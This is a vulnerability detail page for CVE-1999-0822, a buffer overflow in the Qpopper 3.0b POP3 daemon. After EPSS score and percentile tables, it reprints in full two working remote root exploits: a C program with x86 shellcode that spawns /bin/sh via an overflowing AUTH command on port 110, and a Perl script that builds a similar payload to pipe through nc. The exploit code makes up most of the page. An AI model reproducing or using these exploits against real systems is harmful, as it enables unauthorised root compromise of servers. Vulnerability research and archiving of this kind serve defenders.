CVE-1999-0822 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	16.57%	–
2023-12-17	–	–	–	16.57%	–
2024-02-11	–	–	–	3.26%	–
2024-06-02	–	–	–	3.26%	–
2024-11-10	–	–	–	3.26%	–
2024-12-22	–	–	–	3.26%	–
2025-01-19	–	–	–	3.26%	–
2025-03-18	–	–	–	–	7.25%
2025-03-18	–	–	–	–	7.25,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	95%
2023-12-17	96%
2024-02-11	91%
2024-06-02	91%
2024-11-10	92%
2024-12-22	91%
2025-01-19	91%
2025-03-18	91%
2025-03-18	91%

// source: https://www.securityfocus.com/bid/830/info There is a buffer overflow vulnerability present in current (3.x) versions of Qualcomm popper daemon. These vulnerabilities are remotely exploitable and since the daemon runs as root, the host running qpopper can be completely compromised anonymously. The problem is in pop_msg.c, around line 68 and is the result of vsprintf() or sprintf() calls without bounds checking. /* * Qpopper 3.0b remote exploit for x86 Linux (tested on RedHat/2.0.38) * * Dec 1999 by Mixter <mixter@newyorkoffice.com> / http://1337.tsx.org * * Exploits pop_msg buffer overflow to spawn a remote root shell. * This probably works with the old qpop2 code for bsd, solaris anyone? * * WARNING: YOU ARE USING THIS SOFTWARE ON YOUR OWN RISK. THIS IS A * PROOF-OF-CONCEPT PROGRAM AND YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU * DO WITH IT! DO NOT ABUSE THIS FOR ILLICIT PURPOSES! */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <errno.h> #define NOP 0x90 #define LEN 1032 #define CODESTART 880 #define RET 0xbfffd655 /* x86 linux shellcode. this can be a simple execve to /bin/sh on all systems, but MUST NOT contain the characters 'x17' or 'x0c' because that would split the exploit code into separate arg buffers */ char *shellcode = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab" "\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80" "\xe8\xd9\xff\xff\xff/bin/sh"; unsigned long resolve (char *); void term (int, int); unsigned long get_sp (); int main (int argc, char **argv) { char buffer[LEN]; char *codeptr = shellcode; long retaddr = RET; int i, s; struct sockaddr_in sin; if (argc < 2) { printf ("usage: %s <host> [offset]\n", argv[0]); printf ("use offset -1 to try local esp\n"); exit (0); } if (argc > 2) { if (atoi (argv[2]) == -1) { /* 8000 = approx. byte offset to qpopper's top of stack at the time it prints out the auth error message */ retaddr = get_sp () - 8000 - LEN; printf ("Using local esp as ret address...\n"); } retaddr += atoi (argv[2]); } for (i = 0; i < LEN; i++) *(buffer + i) = NOP; for (i = CODESTART + 2; i < LEN; i += 4) *(int *) &buffer[i] = retaddr; for (i = CODESTART; i < CODESTART + strlen (shellcode); i++) *(buffer + i) = *(codeptr++); buffer[0] = 'A'; buffer[1] = 'U'; buffer[2] = 'T'; buffer[3] = 'H'; buffer[4] = ' '; printf ("qpop 3.0 remote root exploit (linux) by Mixter\n"); printf ("[return address: 0x%lx buffer size: %d code size: %d]\n", retaddr, strlen (buffer), strlen (shellcode)); fflush (0); sin.sin_family = AF_INET; sin.sin_port = htons (110); sin.sin_addr.s_addr = resolve (argv[1]); s = socket (AF_INET, SOCK_STREAM, 0); if (connect (s, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0) { perror ("connect"); exit (0); } switch (write (s, buffer, strlen (buffer))) { case 0: case -1: fprintf (stderr, "write error: %s\n", strerror (errno)); break; default: break; } write (s, "\n\n", 1); term (s, 0); return 0; } unsigned long resolve (char *host) { struct hostent *he; struct sockaddr_in tmp; if (inet_addr (host) != -1) return (inet_addr (host)); he = gethostbyname (host); if (he) memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length); else { perror ("gethostbyname"); exit (0); } return (tmp.sin_addr.s_addr); } unsigned long get_sp (void) { __asm__ ("movl %esp, %eax"); } void term (int p, int c) { char buf[LEN]; fd_set rfds; int i; while (1) { FD_ZERO (&rfds); FD_SET (p, &rfds); FD_SET (c, &rfds); if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1) return; if (FD_ISSET (c, &rfds)) { if ((i = read (c, buf, sizeof (buf))) < 1) exit (0); else write (p, buf, i); } if (FD_ISSET (p, &rfds)) { if ((i = read (p, buf, sizeof (buf))) < 1) exit (0); else write (c, buf, i); } } }

source: https://www.securityfocus.com/bid/830/info There is a buffer overflow vulnerability present in current (3.x) versions of Qualcomm popper daemon. These vulnerabilities are remotely exploitable and since the daemon runs as root, the host running qpopper can be completely compromised anonymously. The problem is in pop_msg.c, around line 68 and is the result of vsprintf() or sprintf() calls without bounds checking. #!/usr/bin/perl # *** Synnergy Networks # * Description: # # Remote buffer overflow exploit for QPOP 3.0b<=20 # running on Linux. # (based on code by sk8@lucid-solutions.com) # * Author: # # headflux (hf@synnergy.net) # Synnergy Networks (c) 1999, http://www.synnergy.net # * Usage: # ./qpop-linux.pl <offset> | nc -v <hostname> 110 # *** Synnergy Networks $nop = "\x90"; #$offset = 0; $shell = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"; $shell .= "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"; $shell .= "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"; $shell .= "\xff\xff/bin/sh"; #$i = 0; $buflen = 990; $ret = 0xbfffd304; $cmd = "AUTH "; if(defined $ARGV[0]) { $offset = $ARGV[0]; } $buf = $nop x $buflen; substr($buf, 0, length($cmd)) = "$cmd"; substr($buf, 800, length($shell)) = "$shell"; for ($i=800+length($shell) + 2; $i < $buflen - 4; $i += 4) { substr($buf, $i, length($ret + offset)) = pack(l,$ret + $offset); } # substr($buf, $buflen - 2, 1) = "\n"; # substr($buf, $buflen - 1, 1) = "\n"; #$buf .= "\n"; printf STDOUT "$buf\n"; # EndOfFile